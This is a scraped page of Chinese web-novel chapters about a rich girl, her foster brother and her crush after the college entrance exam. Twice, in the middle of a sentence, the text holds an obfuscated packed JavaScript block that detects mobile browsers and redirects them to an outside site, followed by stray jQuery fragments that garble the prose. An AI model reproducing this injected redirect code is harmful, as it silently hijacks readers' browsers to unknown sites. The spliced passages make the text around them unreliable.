“好啊好啊！我一直都想参观参观你的衣帽间来着！不过，如果有个好看的发饰什么的，能不能让我试戴一下啊？” 两个女孩子一拍即合，一提到衣服首饰包包，她们之中好像很难有完全不感兴趣的。 主人家走了，李落寒这才有了点手足无措的感觉，他摸摸后脖颈，扯出一个极其僵硬又尴尬的笑容：“那个，那个要不然咱俩出去等？” “没必要，外面天热，我们去客厅沙发上坐着等吧。”谢祁之对着前侧方的位置微微抬了抬下巴，整个人流露出的那种自然又自信的状态简直让人自惭形秽。 李落寒也不知道自己怎么了，那个几秒之前大大咧咧，自然熟到连他自己都害怕的那个他呢？还是说，自己其实就是个人来疯，人越多他越兴奋？ 李落寒懊恼地拍着后脑勺，只抬腿默默地跟在谢祁之身后。早知道他就不跟着来凑这个热闹了，等等陈嘉禾多好啊。 毕竟再怎么说，这高逼格的别墅也算是陈嘉禾的家。跟着陈嘉禾过来，陈嘉禾绝对会全程陪着他，不让尴尬有破土而出的机会。 想到这里，李落寒指尖飞快在屏幕上敲下一段文字发了过去：[兄弟，你在搞什么啊！快回来！] 陈嘉禾的头像是永久的，不知道这人是多没情趣，还是说真就那么爱田园犬！连头像带昵称全是土狗。 打嗝土狗顶着他那个焊死的头像，好半天才只回过来一个：？ 这个人装什么啊，才刚考完就开始学那些高冷男神，连打汉字都省了？ 李落寒睨了眼谢祁之，不得不感慨的是，难怪能被周序这样的富家女都视作男神。他们两人都坐在沙发上，他就是软溜溜的一坨瘫在这里，偏偏对方上身也没有刻意板得很直，甚至是手肘撑在膝盖上看手机，可人家就是给人一种很板正却又随性的感觉。 人比人，真是能气死人。李落寒在心底嘁了一声，决意不再偷看某人伤害自尊。只要谢祁之没注意到他就好。 [谢祁之带着我们来周序家……当然，也就是你家了！] [我和赵南晴在客厅坐着，他们不知道上哪儿了！] [速回！] 论说假话，李落寒可谓是颇有心得。发完这三段话的李落寒洋洋得意，整个人往沙发靠背上一躺，甚至还跷起了二郎腿。 “你怎么突然又放得开了？”谢祁之不知什么时候把手机横了过来开了一局游戏，明明目光根本没往这边来，但却迅速捕捉到了这一变化。 “哦，习惯了，当然就不拘谨了。”仔细想想，他刚才那样紧张的状态并不应该。就算是被周序视为男神，不照样是不请自来的客人吗？从这一点上看，谢祁之和他的情况是一模一样的。 没道理谢祁之那么心安理得，他却在这边战战兢兢，如坐针毡的。况且，真正的后援马上就…… 攥在手里的手机嗡嗡震了震，李落寒心内一喜，看来不是马上，是已经到了！ 翻过来一看，只见是言简意赅的一句：[已经在路上了，你想办法拖着] 小样，拿捏陈嘉禾那还不是手拿把掐？ “我决定了，就这件吧。不要再犹豫了！”周序的衣服是真多啊，往常上学大家都穿校服还不觉得有什么不同，今天在她家衣帽间一钻，赵南晴感觉自己是刘姥姥进了大观园，太开眼界了！ 周序在穿衣镜前转了半天，也对于自己这一身小清新上衣和不规则格子裙的搭配很满意。新颖又不夸张，大方又不简洁，最关键的是头顶这个贝雷帽，之前自己总是戴不住，没想到赵南晴一上手，只用几个卡子就轻轻松松地把帽子给稳住了。 “南晴宝贝，我这边还有很多样式的假发辫，你也选一个呗！”自己动手编发是要求技术的，这对一些手残来说难度系数太大。 而假发辫就不一样了，想要什么造型都有，而且一戴就完事，还不需要花费大量时间。 赵南晴看着这一屋子造型各异的假发辫啧啧称奇：“难怪我说你头型怎么总是那么饱满呢，合着你每天早上都贴着假发片垫高颅顶去上学啊！” “诶，别这么说嘛。”小秘密被发现了周序也不破防，甚至语气还很得意，“哪有那么多天生丽质的纯天然美女，就算是美女也是有缺陷的好吧。就像她们四大美女，王昭君溜肩，所以会穿有垫肩的披风，西施脚大，浣纱时会穿拖地的长裙，貂蝉耳垂小，杨贵妃狐臭，所以我这也是合理利用资源！” 赵南晴愣了好半天，自己高考选科也是选了历史的，她怎么从来不知道这一茬近乎于野史的东西。别不是周序自己杜撰的吧！ 可看周序一脸认真的样子，赵南晴还是没忍住问了出来：“你真的假的？别是为了自圆其说在这瞎说臆想吧？” “我瞎说什么，你自己打开手机搜一搜就知道了！” 赵南晴半信半疑地点开小某书，一搜，还真有周序说的这些，甚至有些帖子里面还带上了考公考编的话题。这还真是，人类文明太绚烂了一点，学习永无止境啊！ “周序，看不出来你这么杂学……诶，人呢？”等赵南晴走到一楼客厅，好不容易找到周序的时候，还没来得及喊人呢，就被面前的场景给唬住了。 陈嘉禾的脸，怎么这么臭？而谢祁之，好像也不像一直以来示于人前的那谦和温柔的样子…… “回来了就收拾一下，我们赶紧走吧。”偏偏只有周序这个粗神经，对于除了谢祁之以外的人几乎没有任何的洞察力。 可话又说回来了，就算是她对谢祁之是独一份的，可现在她人背对着谢祁之，依然也察觉不了这种气氛的不对劲。 陈嘉禾的脸耷拉着，就连一直咋咋呼呼的李落寒都变得格外安静。 “还愣着干什么呀？”周序伸出手来在陈嘉禾面前晃了晃，见人没什么反应，又用手指头戳了戳他的胳膊。 这眼神，是盯着哪里发了呆？ 周序顺着陈嘉禾的目光看去，就在她的视线马上要寻到终点时，陈嘉禾终于给了点反应：“对不起，我回来晚了，在张老师家坐的时间有点久。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15877960|175318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 也就这一句话的功夫，那个总是无法把情绪的乌云成功驱散开的人，突然就毫无征兆地恢复成了无事发生，甚至是一脸歉意的样子。 李落寒咬着下唇仔细看了好久，也没能发现出什么残存的痕迹：“绝了，你这演技！” 李落寒发誓，他的声音绝对很轻，周序不可能听得到，但他还是被陈嘉禾无情地白了一眼。靠，有没有搞错啊，居然对你通风报信的兄弟这个态度！ —— 所有人都对这顿很难预约到的晚餐很满意，除了喝得醉醺醺，连路都走不直的周序。 “陈嘉禾，你慢着点，小心她的手。”谢祁之拎着周序的挎包，人就走在周序和陈嘉禾前面，走几步就时不时地回头看看。 周序整个人的重量都压在了陈嘉禾的身上，哪怕是本身就很苗条的小姑娘在喝得烂醉如泥后也会变得死沉死沉的。 周序彻底丧失了对于身体的控制权，以至于压得陈嘉禾都直不起身子，谢祁之中间数度想搭把手，可一抬眼，只会对上陈嘉禾那种近乎于防范的眼神，于是他只好讪讪地将伸在半空的手给收了回来。 “你们怎么走？”不算把果啤当饮料喝，喝倒自己的周序，剩下的几人都在这种尴尬的氛围当中或多或少地感受到了不自在，除了反应总是格外慢半拍的李落寒。 不过也多亏了李落寒，给了几人稍稍破冰的机会。 赵南晴晃了晃手机：“我已经打了车，车一会儿就到。那个……陈嘉禾，你看好周序，晚上回了家要是方便的话，麻烦你给她准备点蜂蜜水。” 李落寒嘿了一声，似乎对于赵南晴这种先斩后奏的行为不太满意，明晃晃的屏幕光亮照着他那莫名着急的表情：“你打车怎么不提前说一声！早知道我也打了！” “你现在打也不迟啊！又不可能因为我打了辆车，就让你的车堵在路上吧！” 不明白，很奇怪，为什么他们两个总能在这种无关紧要的地方吵起来。谢祁之皱了皱眉，目光头一次越过昏昏沉沉，呓语不断的周序，停留在了这两个显然沉浸在另外一个世界中的人身上。 同样，陈嘉禾也难得从周序身上分出了一些注意力，晚间时不时晃过的车灯和头顶高悬的路灯灯光将他的侧脸映衬得格外柔和：“谢谢你，赵同学，我会照顾好她的。” “行，麻烦你了……诶？我车到了！”一辆银灰色的车忽然掉过头来停在几人面前，赵南晴眯了眯眼看清楚车牌后顿时收声，和几人挥了挥手就一溜烟小跑着拉开了车门。 没等多久，李落寒打的车也到了。他其实不好意思说，他这人一吃完就发饭晕，但是今天周序喝成那样，他好像也不好抹完嘴就溜，那样显得怪不讲义气的。 就在他不停内耗纠结的时候，又听说了同行的人里有人不吭不哈就要提前离场，他感觉自己厌蠢症都要犯了。 最无语的是，这个厌蠢症的对象还不是别人，是自己。这种是最可气的了…… 吵闹的两人终于先后离开。陈嘉禾冷淡的面色更不加掩饰，他微微低头打量着周序一颤一颤的睫毛：“我们要回家了，你也赶紧回去吧。” 谢祁之手上还拎着周序的挎包，金属链条独有的那种冰冷在手心里的存在感让他无论怎样都无法忽略：“你确定一个人可以把她安全送回去？” 19. 白月光10 “你什么意思？”陈嘉禾拧了拧眉，同时还得抽出几分注意力用来安抚怀里发酒疯的周序。 这是周序第一次喝醉酒，喝多之后的难缠程度超出了所有人的预料。 平心而论，陈嘉禾不是制不住这样一个没什么力气的醉鬼。他只是没有办法确保，在不让周序胡来的同时，还保护她不要磕到哪里碰伤了自己。 不然以她的性格，第二天醒酒后看到自己伤在了哪里，又或者是当众丢了脸，绝对会把全家上下都搅得鸡飞狗跳。 或许是出于不想让人受伤的私心，又或许是从大局出发，陈嘉禾总之是松了口：“我会给于叔打电话，等他来的这段时间，麻烦你了。等明天姐……周序酒醒了，我会和她说的。” 贪功占小便宜，他陈嘉禾还做不出来这种事情。更何况，周序今晚的确很不开心，因为有这么多又大又亮的电灯泡在，严重影响了她和她男神的考后相聚时刻。 不然的话，她也不会在喝出面前的饮料是果啤后，还一杯接着一杯地往下灌。这三年来，周序是光长岁数，一点心眼都不长的吗？ “周家现在，和雁翎小区完全是两个方向。”老于在接到陈嘉禾的电话后很快就开车来了，对于谢祁之这个曾经的邻居他始终印象不错，“小谢同学你快回家吧，不然马上就要到晚高峰了。到时候一堵起来，你路上也不好走。” “那于叔，你路上小心点。”谢祁之小心翼翼地把周序的一条胳膊递交到了于叔手上。 这两个人，一个是她家雇佣多年的司机叔叔，一个则是被她信任，三年以来以姐弟互称的陈嘉禾，交给他们，他理应是很放心的。 可不知怎么，只要一想到周序在包间里拿酒当水喝的样子，他就总会联想到一连串酒后乱性的事例。 明明，他从来没见识过周序的酒品，不应该以她刚才胡乱的几个动作和几句呓语，就把人往不好的方向想。 “于叔，麻烦您开车的时候慢点，周序有点喝多了！”车子启动，谢祁之还是没忍住对着开了一条缝的车窗叮嘱了几句。 他全程对着于叔说话，当然也就没注意到后排神情不悦的陈嘉禾，正在以一种敌视的目光暗戳戳地瞪着他。 “你放心吧小谢同学，我心里有数。”老于在周家干了十几年，一直都是专门负责接送周序的司机，别说是喝多了的人不能急刹车猛加油，就是清醒状态下的小姐，她也不乐意啊。 尽管这么比喻不太合适，但事实就是，周序是一头顺毛驴，只要顺着她的意思来，那她就会变得异常好说话。可如果有半点不合她心意的地方，那周序就成了个一点就炸的汽油桶。 不用谢祁之忧心忡忡地告诉他，于叔心里是最清楚不过的。 车子驶入桦城市中心，街道上机动车排起了长队，紧赶慢赶，没想到还是躲不过高峰期。再加上高考完之后，各大商家推出的凭准考证或免费或半价的销售活动，这一片的商业区简直人满为患。 老于百无聊赖，随意瞥了一眼后视镜，在看到陈嘉禾脸上的表情时不禁愣了一下：“嘉禾，看你的表情，是和小谢同学闹矛盾了？” 也是这话问出口的瞬间，老于才注意到，陈嘉禾过于沉默了。 三年的磨合，就是再怎么内向慢热的孩子，也都该融入了周家。但今晚，陈嘉禾的这状态居然有点回到了他刚来的那会儿。 沉默寡言，气氛压抑。不得不说，小姐其实是个调动气氛的高手，有她在，车内几乎不会陷入长时间的冷场。就算是她发脾气，周围人也都会第一时间想尽办法去哄人开心。 所以无论如何，在周序的身边，老于就几乎没有感受过特别尴尬难熬的时候。 可现在不一样了，明明陈嘉禾几天之前才高中毕业，怎么算都是一个没有什么社会阅历的孩子，但他皱着眉头一声不吭的样子，居然让自己这个四十大几的中年男人都有点无所适从。 老于默默地把车窗又降下来了一点：“今天还真是热啊，这么晚了，风也不凉快。” “我和他没闹矛盾，本身也就不是很熟。” 就在老于以为自己起的这个话题永远不会被接茬的时候，陈嘉禾那没有什么情绪起伏的话语才从后座传来。 “你们还不熟啊！”老于也是想到哪儿说哪儿，压根没发现这几个孩子之间的异常，“就说周氏集团效益不景气的那一年，你们一家住在雁翎小区也不短日子吧？谢祁之不天天早上等你们一起上学？哦对，你俩人还一直都是一个班，即便后来周家搬回别墅了，他还经常来找你讨论题目来着。” 那到底是有点学霸之间的惺惺相惜在的，也不尽然全是隐晦的敌对关系，倒也不用掰扯得这么清楚。 陈嘉禾咳了声，目光飘向窗外：“我说的不熟，其实只是说没到我和李落寒那种什么玩笑都能开的程度。” 他永远不可能和谢祁之开玩笑，因为他们之间无论怎样都绕不过周序。而他，也更不可能主动跟谢祁之分享周序的任何事情。 但不管怎么说，周序会和他去同一个大学，在那里，空间上的距离将会冲淡她现在所有的悸动。 周序第二天醒酒后第一件事情就是给赵南晴打去了电话：“怎么样？我酒品没有很差吧！昨天谢祁之有没有说什么？” 现在想想，她真的是刀了昨天的自己的心都有了。只不过是屡次想起个话头都被不巧打断了而已，她也不至于独自喝酒生闷气吧？ 要是因为这个，让自己一直以来苦心经营的淑女形象全部毁于一旦，那可就得不偿失了啊！ 周序手机开着静音，自己则是拿着抱枕不停往上面撞。 “你那边，什么逼动静？怎么感觉你声音忽大忽小，忽远忽近的？” “我在惩罚自己，警醒自己，我要把自己一头撞死在抱枕上！”伴随着周序铿锵有力的话语，最后一句话的声音又有点被埋在了软绵绵的枕头里，听不大真切。 语言上悔不当初，跟发誓一样郑重其事，可行动上永远是雷声大雨点小，这就是周序。一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15881600|175318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个即便嘴上喊着愿意为男神做这做那，放弃这个舍弃那个，可事实上却是一个根本不会亏待了自己的主儿。 赵南晴失笑，适当地渲染了一点：“你放心啦，谢祁之不仅没说什么，他反而还很担心你呢。而且有陈嘉禾在，他不可能看着你出丑的！” “那倒是！好在还有他！”俗话说养兵千日，用在一时嘛，陈嘉禾来她家三年了，作用也一点点地显现了出来。 听说高考前夕，周思邈还私下里找陈嘉禾谈过话，貌似和公司有什么关系。周序不想多打听，但用脚指头想想都能知道，一定是眼见着高考结束在即，勤勤恳恳耕种了这么久，总要收获点什么吧。 啧，商人啊！ 自己就不同了，她不指望从陈嘉禾身上收获点什么，只要是像这样尴尬难为情的时刻，他可以在边上适时提醒一句就可以了。 “怎么样？我对你还不错吧？”最近这段日子，周序总对陈嘉禾说类似的话。 这话的主旨核心来得突然又莫名其妙，陈嘉禾一点都猜不透，但他还是顺着周序的意不断点头：“姐姐当然对我很好，所以你是想让我做什么吗？我们之间不需要铺垫，你直接说就可以了。” “我还没想好呢……不是！我的意思是，你能不能不要把人想得那么功利啊！我就是随便问问，谁说一定要你做事了！” 毕业季的假期总是快得跟按下了加速键一样，很快就到了填报志愿的时候，周序早早地选好了自己心仪的大学。 “谢祁之，你报的是北江大学吗？” 电话那头似乎是停顿了一会儿，很快，听筒里传来谢祁之独有的那种温柔又略有些低沉的嗓音：“当然，你也报的是北华大学吧？” 北城是全国最出名的一线城市，北江和北华两所大学更是连续多年斩获了国内各个大学排行榜上的top2，是所有百姓心目中几十年来一等一的名校。 早在一开始，他们几个就有彼此透露过关于自己理想大学的想法。 现在周序打这一通电话也就是做着最后的确认。毕竟她不像谢祁之和陈嘉禾两个人，他们对自己的未来有着明确的规划，大体上不是必须要去这里，就是一定要去那里。 如果谢祁之最近换了目标院校的话，那她打听清楚了，也可以考虑立马更改。不过……显然是她多虑了！ 周序美滋滋地晃着小脚：“嗯！陈嘉禾和我一个学校，这样我们三个到时候还能继续在一个城市！北华就在北江的斜对面，我可以……我是说，我们两个可以经常去看你！” 明明没有开视频通话，只是隔着个黑漆漆的屏幕，可谢祁之的眼前就是很神奇地浮现出了周序的笑脸。那应该是一张充满了期待，眼底散发着灼灼耀眼光芒的美丽容颜。 但很可惜，他注定是要辜负她了。 沉吟了好久，久到周序都察觉到了些微的尴尬，匆匆说了个拜拜就要挂断电话的时候，谢祁之忽然开了口：“周序，快开学前，你愿意陪我一起去仪州自驾游吗？” 20. 朱砂痣10 “自驾游？” 谢祁之不知道自己这个提议到底是有多令人惊讶，反正周序是在手机那头炸了。他微闭着眼睛，把手机拿得离自己的耳朵远远的，依然能感受到这股音波的攻击。 “有这么惊讶吗？”等这阵声音差不多降下去以后，谢祁之才重新把手机放回了耳边，“我很好奇，你怎么能这么大的反应？” 男生的嗓音一向温润，现在又明显掺杂了点笑音，听着更是让人骨头发酥发软。周序平复了好久，才使得自己听上去没有刚刚才那么疯了：“我就是奇怪，你这才几天，就学到车本了？” 周序听身边的同龄人念叨过那么一嘴，对于学驾照的这套流程有个大概印象。好像是又有实践又有理论，需要考三四轮的，难度可能因人而异，但是相当磨人是真的。 这满打满算，高考完有半个月吗？就算是学神的速度也不可能啊！我真的，我非跟你们这群离谱的学霸拼了不可！ “你误会了。不是我开车，是我一个远房亲戚会开，到时候我们可以拜托他帮忙载人，不过我最近也确实在学驾照，就是离正式学完还需要一点时间。” 谢祁之没有说的是，家里家外需要他操心的事还有不少，估计他这个驾照一学，是要学到正式迈入大学的校园生活了。 而北江大学，其实并不是他最后要去的院校。 他对周序说了谎。 他要去一个离桦城很远很远的地方，远到周序如果知道了一定会很生气，甚至有可能就此大小姐脾气大爆发，彻底和他老死不相往来。 这并不是谢祁之想看到的。 只是计划永远赶不上变化，当时的随口一说已经完全不符合当下他的处境了。 他是迫不得已离开北江大学，那周序就一定要为了他放弃北华大学吗？北华大学，是周序的分数所能对应到的最好的大学。就当是他很自私，擅自地做了一个他以为对别人好的决定吧。 谢祁之打算把这这个秘密一直隐瞒下去，直到纸终究兜不住火的那一天再说。 —— “谢祁之！这你哥哥的越野吗？看上去好大啊！里面也一定很宽敞吧？”很快到了他们商量好一起出游的日子，周序欢欢喜喜地背了一个小到不行的背包就出了门。 谢祁之穿了一件防晒衣，袖子被他撸起到小臂的位置，露出来一大截白皙又健壮有力的胳膊：“你行李呢？” “呐！”周序微微侧了侧身，示意谢祁之去看自己背上的背包。 “你确定？我们少说也要去六七天，你就这一个小包，背不下很多必需品吧？而且……”自顾自地说完这一段话，谢祁之突然止住了话头。 “而且什么？” “而且你或许会买很多纪念品回来吧，包大一点有备无患。”后面的话谢祁之越说越没底气。因为他已经后知后觉地想明白了周序能够轻装上阵的原因。 他居然忘了，陈嘉禾一直都是周序的好“弟弟”、好跟班。有他在，这些细碎麻烦的事情就全有了着落，有人愿意不辞辛劳地全部安排到位，哪里用得着周序再操心呢？ 谢祁之唇畔的笑容僵了一僵，即便这样了，他想的第一件事居然是周序这个人粗枝大叶惯了，心思一定很不细腻，她一定捕捉不到这些微小的情感流动吧？ 还记得高一那会儿，他言之凿凿地跟陈嘉禾说，他们之间永远没有敌对的必要。可世界上哪里有什么一定和永远呢，唯一不变的就是一直在改变。 也或许是他想多了，他对周序根本不是什么懵懂的喜欢，只是他的身边从来没有异性可以走得这么近过，可以和他的生活产生这么多的交集，以至于他在不知不觉中慢慢习惯了她的存在。 也是因为这样，现在的谢祁之每每看到陈嘉禾可以光明正大地跟在周序的身后，他的心里就总会有点说不出来的怪异感觉。 “我早查好攻略了。”周序盈盈一笑，浓密卷曲的睫毛在夏日微风中扑簌簌地扇动着，好像它们每眨动一下，就会洒下些什么引人注意的光点来。 再看下去，苗头可就不对了。谢祁之微低着头给周序拉开车门：“你查到什么攻略了？” 周序的说法和他想的答案不一样，但那又能有什么差别，终究是绕不过去的。谢祁之只是随口一问，本也没有多在意周序接下来的回答。 “查好咱们去了仪州以后，吃什么喝什么玩什么啊？而且当地很多特产店都有快递运输的业务，我到时候买好东西直接快递就可以了。那里还有好多可以爬山的地方，我就想着尽量少带点东西。实在不行去了再买呗。” 听起来，她没怎么带东西是合情合理的，好像和陈嘉禾也没多大关系？既然这样，不如再多问一句好了。 “我哥去前面便利店买水了，咱们先在车上坐着等吧。”谢祁之坐在了副驾驶的位置上，自顾自地忙活着，“我哥车钥匙没拔，我给你把空调打开。对了，陈嘉禾怎么还不出来？” 陈嘉禾陈嘉禾！怎么又是陈嘉禾？不知道的，还以为你们两个人关系很好呢！装什么装啊，高中三年除了学习上必要的交流，你俩是那种可以约饭的关系吗？ 连吃饭搭子都不是，这会儿又好端端地提起来做什么啊！ 问这种没眼色的话的人也得亏是谢祁之，不然周序高低都得怼几句。坐在后座深呼吸了好几下，周序才弯着唇摇了摇头：“他不来啊。他最近有事，就不跟我们一起去了。” 开玩笑。当时自己可是旁敲侧击地跟陈嘉禾打听了好几回，谢祁之提出的自驾游邀约对象压根就没有陈嘉禾！ 如果谢祁之想陈嘉禾跟着一起去的话，为什么不一开始就大大方方地说呢？周序想不通也不想想，她只知道，既然没有摆在明面上，那就不需要陈嘉禾这个电灯泡出场了！ 可陈嘉禾大概是在他们家住出了感情，感受到了久违的家的温暖，周序越来越能体会到黏人是什么滋味了。 如果说奶盖是黏人精，那陈嘉禾有时候就是超级黏人精。正在周序发愁该怎么让陈嘉禾不要跟着一起去，给她和谢祁之一点独处空间的时候，老爸周思邈时机巧合地跳了出来。 只能说，不愧是当爸的人啊，永远都那么靠谱！ 前天晚上，周序贴在书房门板上听了那么几耳朵。好像是有个什么慈善晚会，周思邈需要陈嘉禾出一下场，好巧不巧，时间就是他们出发的这一天。 周序当时听得直摇头。哎，可悲啊，学习不好的下场就是这样。家里主办的晚会，宁愿找一个寄居在家里的状元外人，都不愿意让她这个亲生女儿露一下脸。 “你们不疼我了！”周序假模假样地哭了几滴泪。 这立马惹得周思邈和裴佑月夫妻两个围着周序直打转，轮番上阵哄人：“你这孩子，不是约好了和谢祁之出去自驾游吗？你们出去的时间和晚会有冲突，还是说，你又不想去了？” “那必然不可能！”那可是谢祁之的主动邀约，周序巴不得来个瞬移，直接闪现到谢家。 周序那时一心沉浸在自己的欢喜里，并没有注意到陈嘉禾是个什么样的表情。就像她现在又一心在吃些不必要的飞醋，也就没能注意到车内镜子中谢祁之翘起的嘴角，以及当年那个初见就将她迷倒的一对小酒窝又重新出现了。 等了大约不到五分钟，一个穿着皮夹克的年轻男人猛地拉开了车门，钻进了驾驶座里。 “小妹妹，喝冰水吗？”唐乐逸从皮夹克的深口袋里像变戏法一样掏出两瓶水来。 从周序的角度看过去，一瓶是凝着水珠的某水中贵族，一瓶则是非常普通的矿泉水：“我喝这个常温的就好，谢谢谢哥哥。” “我不姓谢，你叫我唐哥就行。”唐乐逸笑了笑，和谢祁之一样，他也有一对很明显的梨涡， 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然而现实却并非如此，唐乐逸一把勾住谢祁之的脖子，咬牙骂了几句：“还大学霸呢，我看你是嘴上没毛，办事不牢！到底能不能行啊！” “哥！”谢祁之也不手软，用胳膊肘抵在唐乐逸的胸前，二人打闹起来，“别让人家看笑话。” “……这次先饶了你！”唐乐逸瞪了一眼谢祁之，这才收了手。 可这两人的戒备心都很重，再加上或许很了解对方是什么人，彼此松开手的下一秒，就又针锋相对地掐在了一起。 这样的谢祁之，好像褪下了那层人际交往中牢不可破的外壳，露出了他本来性格中的冰山一角，怎么说呢，就还挺新奇又可爱的。 周序歪着脑袋，看得津津有味。就连一开始对于唐乐逸的那种莫名的害怕都渐渐地被她抛到了脑后。 “发什么愣？你还真当看戏啊？”谢祁之忍俊不禁，在周序面前打了个响指。 他和唐乐逸兄弟之间的打闹已经结束了，但嘴角的笑容依然停留在那里。可以看得出来，他和他这个远房亲戚的关系是真的很好，好到她和谢祁之认识三年，周序还是第一次见这样的谢祁之。 周序难得生出点好奇，她扒着前排的两个座椅，往前蹭了蹭：“唐哥，谢祁之是你表弟吗？你们两个长得好像啊！” “我们长得像啊？”唐乐逸指了指谢祁之，又指了指自己，有点想笑。他发现了，这富家小姐是有情商的，但情商有限，搭话套近乎也不能是这么个法子啊！ 况且再说了，这不是睁着眼睛说瞎话嘛！ “没人说过吗？你们两个笑起来都有酒窝，很明显！”周序一脸真诚地盯着唐乐逸的眼睛。 她又不是傻子，总不可能连别人表情里的那种尴尬和不悦都看不出来。如果自己真的没有一点依据的话，完全没有必要和个半路冒出来的陌生人讲这种毫无营养的水话啊！ 周序自认为她还是一个有底线的人。就算这个男人和谢祁之关系匪浅，那也不是她昧良心说话的理由。 “你……”都说真诚才是必杀技，今天他这是遇到高人了，唐乐逸直接卡壳了好几秒，小麦色的脸颊上因为不好意思而泛起红晕，“你这个角度还是蛮新奇的，之前我都没发现。” “所以唐哥，你们是表兄弟吗？”周序有点无力，她只是好奇他们两个人之间的关系远近而已。明明一句话就能说清楚的事，怎么聊个天能这么发散啊？ “我们俩老家一个村的。村里你也知道，往上数几辈总有点亲缘关系，我俩也是。大人们说我是他太爷爷的二姨的姐夫的……” 坏了，这再说下去要变顺口溜了！周序及时打断，问出了自己关心的另一个问题：“唐哥，这么热的天你怎么穿一件这么厚的皮夹克？你不热吗？”